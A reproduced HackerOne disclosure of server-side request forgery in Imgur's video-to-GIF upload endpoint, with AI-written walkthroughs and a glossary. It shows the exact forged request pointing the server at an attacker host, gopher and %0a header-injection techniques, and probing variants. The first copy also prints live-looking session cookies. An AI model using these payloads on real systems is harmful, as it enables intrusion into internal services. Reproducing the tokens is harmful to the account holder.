Skip to content
SSRF Disclosed report Intermediate

SSRF in imgur video GIF conversion

The imgur video-to-GIF conversion endpoint accepted a user-supplied URL and fetched it server-side without proper validation, allowing an attacker to make the server send requests to arbitrary internal or external hosts. This could be used to access internal services or inject headers via newline characters in the URL.

mariuszdeepsec Follow

Originally disclosed on HackerOne

  • Triaged in 59 days
  • Fixed in 2.1 years
  • Paid in 6 months
  • Disclosed after 3.1 years

Hi,

There was issue in -> https://hackerone.com/reports/115748

We have found similar one but in next steps

Affected request

POST /vidgif/upload HTTP/1.1
Host: imgur.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://imgur.com/vidgif/video/between/56.72/9.71?url=http%3A%2F%2Fwww.onirikal.com%2Fvideos%2Fmp4%2Fbattle_games.mp4
Content-Length: 127
Cookie: SESSIONDATA=%7B%22sessionCount%22%3A3%2C%22sessionTime%22%3A1499684317408%7D; IMGURUIDJAFO=7450708ff93583b3772a3048e340856d59cef648c4dab74c825a83be56c807ab; _ga=GA1.2.1311247514.1499605938; _gid=GA1.2.2061092166.1499605938; __qca=P0-831392639-1499605938609; expPLAT51a=control; AZUSER=ue1-50873ccaac994527ac520cd62b5901e7; __gads=ID=1eb1b9c53a665ffd:T=1499605915:S=ALNI_MaUwqVKMDz-uAhHuqAQFc2_ajTK2Q; m_sort=viral; m_window=day; m_section=hot; __utma=247341212.1311247514.1499605938.1499607069.1499674066.2; __utmz=247341212.1499607069.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); c_sort=newest; c_window=day; __atuvc=2%7C28; GCS=top; authautologin=17d1c9dc6b5e4b318c27ca4b85921a90%7EVJ3S8CJDeJgyKiUlrdYxGzQ99xkZiEox; _nc=1; f_sort=newest; f_section=favorites; retina=0; OX_plg=swf|shk|pm; UPSERVERID=upload.i-083e69b6391b5191e.production; __utmc=247341212; IMGURSESSION=5c493a419036f493aa69b0b40d8b1f28; __cfduid=d5d1746c7fcc97ff5c333cae83ce89d571499673731; showComments=1; c1069960587=1
Connection: close

source=http%3A%2F%2F192.166.218.53%2Fmalicious123.php&url=http%3A%2F%2F192.166.218.53%2Fmalicious123.php&start=56.72&stop=66.43

PoC

HTTP Requests

http.png
http.png From the original on HackerOne

FTP Requests

ftp.png
ftp.png From the original on HackerOne

And most important like in the old vulnerable spot gopher where attacker have posibilities to inject stuff in headers with usse of %0a

gopher.png
gopher.png From the original on HackerOne

Sorry for short description i assume u already know what SSRF is as u fixed previous vulnerable spot, if something is not clear feel free to ask

The original report as published on HackerOne, by mariuszdeepsec. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

Imgur's video-to-GIF feature (/vidgif/upload) takes a video URL, extracts a clip between a start and stop time, and returns a GIF. The endpoint accepts a source and a url parameter, both of which point at the video to be converted. Because the server fetches that URL itself, the feature is a natural SSRF surface: the attacker controls where the backend connects.

The researcher notes that a similar issue had already been reported and fixed in an earlier report (hackerone.com/reports/115748). This write-up covers a similar issue found in the same feature, in next steps.

Setup

The report does not describe any special accounts, roles or tooling. The only precondition shown is a normal authenticated session against imgur.com, since the affected request carries the usual Imgur cookies. The researcher assumes the reader already understands SSRF and refers back to the previous report for background.

Finding it

The starting point was the earlier SSRF report against the same conversion feature. The researcher looked at the same endpoint again and found a similar issue reachable through the upload request. The report frames this as "similar one but in next steps": the same feature, a different way in.

Exploitation

Step 1: the affected request

The vulnerable endpoint is the video-to-GIF upload handler:

HTTP
POST /vidgif/upload HTTP/1.1
Host: imgur.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://imgur.com/vidgif/video/between/56.72/9.71?url=http%3A%2F%2Fwww.onirikal.com%2Fvideos%2Fmp4%2Fbattle_games.mp4
Content-Length: 127
Cookie: [redacted]
Connection: close

source=http%3A%2F%2F192.166.218.53%2Fmalicious123.php&url=http%3A%2F%2F192.166.218.53%2Fmalicious123.php&start=56.72&stop=66.43

The body carries four form fields. source and url both hold the attacker-controlled address, URL-encoded, and start and stop give the clip boundaries in seconds. The Referer shows the normal flow: the front end at /vidgif/video/between/56.72/9.71 passes a legitimate video URL (http://www.onirikal.com/videos/mp4/battle_games.mp4) to the same handler. In the attack, both source and url are replaced with a host the researcher controls, so the backend fetches the attacker's server instead of a real video.

Step 2: HTTP requests

The first proof is plain HTTP: the backend makes an outbound HTTP request to the address supplied in the form body.

http.png
http.png From the original on HackerOne

The report includes a screenshot of the HTTP requests.

Step 3: FTP requests

The same parameter also drives other schemes. The researcher shows FTP requests reaching the attacker's host:

ftp.png
ftp.png From the original on HackerOne

This matters because it shows the fetch is not restricted to HTTP, so the handler will speak other protocols on the attacker's behalf.

Step 4: gopher and header injection

The researcher calls this the most important part, and draws the parallel with the old vulnerable spot: with gopher, an attacker can inject content into headers using %0a (a newline).

gopher.png
gopher.png From the original on HackerOne

The report includes a screenshot of the gopher requests. Because gopher lets the client send arbitrary bytes to the target, and %0a decodes to a line break, the attacker can shape the request line and headers sent to whatever internal service the backend can reach. That turns a simple fetch into request forgery against internal protocols.

Root cause

The handler takes a user-supplied URL from the form body and fetches it server-side. The same source/url parameters accepted attacker-controlled addresses, including non-HTTP schemes such as FTP and gopher. Since gopher carries raw bytes, %0a in the payload lets the attacker inject newlines and therefore craft headers for the internal request. The report does not describe the validation logic itself, so the exact check that was bypassed is not shown;

Impact

An attacker can make Imgur's backend issue requests to a host they control, over HTTP, FTP and gopher. With gopher and %0a, the attacker can inject content into headers, which the researcher notes gives an attacker the possibility to inject content into headers. The report does not enumerate specific internal targets or demonstrate data exfiltration; the impact argument rests on the demonstrated outbound requests and the header-injection primitive.

Fix

Based on the finding, the handler should restrict the schemes it accepts to the ones the feature needs, resolve and validate the destination host against an allowlist or a block on internal ranges, and reject encoded newlines in the URL fields before any fetch is made.

Variants to test

  1. Send the same URL in both source and url and in only one of them, to see which field the backend actually uses for the fetch.
  2. Swap the scheme in the payload for ftp:// and gopher:// and watch for connections from the target's egress addresses.
  3. Insert %0a inside the URL and check whether the resulting request to your listener contains injected header lines.
  4. Point the parameter at an internal address and look for timing differences or error messages that reveal whether the connection was attempted.

A positive result is an inbound connection on your listener that originates from the target's infrastructure, or a request whose headers you did not send but which contain your injected lines.

Hunting notes

Media conversion, thumbnail generation, link previews and import-by-URL features are the usual homes for this bug, because the server has to fetch something the user names. During recon, look for endpoints that take a URL in a form body or query string and return derived content (a GIF, an image, a preview). The Referer in this report is a good signal: the front end passes a full URL to the same handler, which tells you the backend is expected to fetch it. To show impact, demonstrate the outbound request arriving at a host you control, then extend it to a second scheme and to newline injection so the program can see it is more than a simple fetch.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 9 min read.

What happened, in plain words

Imgur is a website where people upload and share images. One of its features turns a video into an animated GIF: you give it a video link, choose a start and stop time, and it sends back a short looping clip. To do that, Imgur's own servers have to download the video from the link you provide. That is the key point: the server, not your browser, makes the request.

When a server can be told to fetch any address the user supplies, there is a risk called Server-Side Request Forgery (SSRF). The attacker does not attack their own computer; they make the victim's server send requests on their behalf. A simple comparison: imagine a hotel concierge who will fetch anything you ask from any address you name. If you name your own address, the concierge comes to you. If you name a locked room inside the hotel, the concierge might go there too, because he is already inside and trusted. SSRF is about controlling where the concierge goes.

This report shows that the video-to-GIF upload endpoint could be made to fetch addresses chosen by the attacker, not just normal video links. The researcher had already reported a similar problem earlier (hackerone.com/reports/115748), and that earlier report had been fixed. This new report shows a similar issue in the same feature, in next steps.

Background: the feature and the request

The feature lives at a path like /vidgif/upload. When you use the video-to-GIF tool in the browser, your browser sends a form to that path. The form contains the address of the video and the times to cut. The server then downloads the video and produces the GIF.

A few terms first, because they appear in the request below:

  • HTTP request: the message your browser sends to a website to ask for something. It has a first line (method and path), then headers (extra information), then optionally a body (data you are sending).
  • Header: a line of metadata in a request or response, such as Host (which site you are talking to) or Cookie (small pieces of data the site stored in your browser).
  • Cookie: a small piece of data a site asks your browser to keep and send back on every request, so the site can recognise you. A session cookie is like a wristband at an event: it proves you already checked in.
  • URL encoding: some characters cannot appear literally in a form or URL, so they are written as % followed by two hexadecimal digits. For example, a space becomes %20, and a colon : becomes %3A. So http://example.com becomes http%3A%2F%2Fexample.com.
  • Form body: the part of the request that carries the fields you filled in, written as name=value pairs separated by &.

The affected request in the report looks like this:

HTTP
POST /vidgif/upload HTTP/1.1
Host: imgur.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://imgur.com/vidgif/video/between/56.72/9.71?url=http%3A%2F%2Fwww.onirikal.com%2Fvideos%2Fmp4%2Fbattle_games.mp4
Content-Length: 127
Cookie: [redacted]
Connection: close

source=http%3A%2F%2F192.166.218.53%2Fmalicious123.php&url=http%3A%2F%2F192.166.218.53%2Fmalicious123.php&start=56.72&stop=66.43

Line by line, in plain words:

  • POST /vidgif/upload HTTP/1.1: this is a POST request (a request that sends data) to the path /vidgif/upload on the server, using version 1.1 of the HTTP protocol.
  • Host: imgur.com: tells the server which website name the request is for. One server can host many sites, so this header picks one.
  • User-Agent: ...: identifies the browser that sent the request. Here it claims to be Firefox 52 on 64-bit Linux. This is normal browser information.
  • Accept: */*: the browser says it will accept any type of response.
  • Accept-Language: en-US,en;q=0.5: the browser prefers US English, with a fallback.
  • Content-Type: application/x-www-form-urlencoded; charset=UTF-8: says the body is a standard form, encoded as name=value pairs, using UTF-8 text.
  • X-Requested-With: XMLHttpRequest: a header that many JavaScript libraries add to say the request came from a script on the page rather than a full page load.
  • Referer: ...: the address of the page that sent you here. Here it shows the normal video-to-GIF page, with a legitimate video URL (http://www.onirikal.com/videos/mp4/battle_games.mp4) passed as a parameter. This tells us the front end normally hands a video URL to the same upload handler.
  • Content-Length: 127: the length of the body in bytes.
  • Cookie: [redacted]: the cookies your browser sends. They include session identifiers and other tracking values. In this report they are redacted because they are personal session data.
  • Connection: close: asks the server to close the connection after the response.
  • The blank line separates headers from the body.
  • The body: source=http%3A%2F%2F192.166.218.53%2Fmalicious123.php&url=http%3A%2F%2F192.166.218.53%2Fmalicious123.php&start=56.72&stop=66.43. This is four fields joined by &. source and url both contain the same URL-encoded address, which decodes to http://[redacted]/malicious123.php. start and stop are the clip boundaries in seconds. In a normal use, source and url would be the video address; here they point at a server the researcher controls.

Why this step matters: the server will read source and url and then make its own request to that address. By putting an address the researcher controls in both fields, the researcher can watch for a connection coming from Imgur's servers. If it arrives, the server fetched the attacker's URL.

Step 1: HTTP requests

The first proof is simple: the backend makes an outbound HTTP request to the address supplied in the form body.

http.png
http.png From the original on HackerOne

The report includes a screenshot of the HTTP requests. In other words, the researcher's own server received a request that it did not send itself; it came from Imgur's network. That is the basic SSRF signal.

Step 2: FTP requests

The same parameter also drives other schemes. The researcher shows FTP requests reaching the attacker's host:

ftp.png
ftp.png From the original on HackerOne

FTP (File Transfer Protocol) is an older protocol for transferring files. The important point is that the handler is not limited to HTTP: it will speak other protocols on the attacker's behalf.

Step 3: gopher and header injection

The researcher calls this the most important part, and draws the parallel with the old vulnerable spot: with gopher, an attacker can inject content into headers using %0a (a newline).

gopher.png
gopher.png From the original on HackerOne

Gopher is an old protocol that lets a client send almost arbitrary bytes to a server. Because gopher does not impose much structure, an attacker can shape the exact request line and headers that the backend sends to whatever internal service it can reach. The sequence %0a is URL encoding for a newline character (line feed). If the application decodes %0a and then uses the resulting string to build a request, the attacker can insert a line break and start a new header line. That is header injection: the attacker adds headers the application did not intend to send.

Why this matters: many internal services trust requests that come from inside the network. If the attacker can craft the request line and headers, they may be able to talk to those services in ways the feature never intended.

Root cause

The handler takes a user-supplied URL from the form body and fetches it server-side. The same source and url parameters accepted attacker-controlled addresses, including non-HTTP schemes such as FTP and gopher. Since gopher carries raw bytes, %0a in the payload lets the attacker inject newlines and therefore craft headers for the internal request. The report does not describe the validation logic itself, so the exact check that was bypassed is not shown;

Impact

An attacker can make Imgur's backend issue requests to a host they control, over HTTP, FTP and gopher. With gopher and %0a, the attacker can inject content into headers, which the researcher notes gives an attacker the possibility to inject content into headers. The report does not enumerate specific internal targets or demonstrate data exfiltration; the impact argument rests on the demonstrated outbound requests and the header-injection primitive.

Fix

The report does not state what change was made. Based on the finding, the handler should restrict the schemes it accepts to the ones the feature needs, resolve and validate the destination host against an allowlist or a block on internal ranges, and reject encoded newlines in the URL fields before any fetch is made.

Variants to test

  1. Send the same URL in both source and url and in only one of them, to see which field the backend actually uses for the fetch.
  2. Swap the scheme in the payload for ftp:// and gopher:// and watch for connections from the target's egress addresses.
  3. Insert %0a inside the URL and check whether the resulting request to your listener contains injected header lines.
  4. Point the parameter at an internal address and look for timing differences or error messages that reveal whether the connection was attempted.

A positive result is an inbound connection on your listener that originates from the target's infrastructure, or a request whose headers you did not send but which contain your injected lines.

Hunting notes

Media conversion, thumbnail generation, link previews and import-by-URL features are the usual homes for this bug, because the server has to fetch something the user names. During recon, look for endpoints that take a URL in a form body or query string and return derived content (a GIF, an image, a preview). The Referer in this report is a good signal: the front end passes a full URL to the same handler, which tells you the backend is expected to fetch it. To show impact, demonstrate the outbound request arriving at a host you control, then extend it to a second scheme and to newline injection so the program can see it is more than a simple fetch.

Glossary

  • SSRF (Server-Side Request Forgery): a vulnerability where an attacker makes a server send requests to addresses the attacker chooses, often to reach internal systems.
  • Endpoint: a specific URL path on a server that performs an action, such as /vidgif/upload.
  • HTTP request: the message a client sends to a server, with a method, path, headers and optional body.
  • Header: a line of metadata in an HTTP request or response, such as Host or Cookie.
  • Cookie: a small piece of data stored by the browser and sent back to a site to identify a session or remember settings.
  • Session: a period of interaction between a user and a site, usually tracked by a session cookie.
  • URL encoding: writing special characters as % followed by two hexadecimal digits, so they can travel safely in a URL or form.
  • Form body: the part of a request that carries name=value pairs from an HTML form.
  • POST: an HTTP method used to send data to the server, often from a form.
  • Referer: a header that tells the server the address of the page that linked to or submitted the request.
  • User-Agent: a header that identifies the browser or client software making the request.
  • FTP (File Transfer Protocol): an older protocol for transferring files between computers.
  • Gopher: an early internet protocol that lets a client send arbitrary text to a server, which makes it useful for crafting custom requests.
  • Scheme: the first part of a URL that says which protocol to use, such as http://, ftp:// or gopher://.
  • Newline (%0a): a character that ends a line; in URL encoding it is written as %0a. In HTTP it separates headers, so injecting it can add new headers.
  • Header injection: inserting extra header lines into a request by including newline characters in user-controlled input.
  • Allowlist: a list of permitted values (here, permitted hosts or schemes); anything not on the list is rejected.
  • Egress: outbound traffic leaving a network.
  • Recon: the information-gathering phase of security testing, looking for features and endpoints that might be vulnerable.

More by mariuszdeepsec

View all

4 more disclosed reports, best first.

More from Imgur

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Server-side request forgery (SSRF)

The lesson behind this report.

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.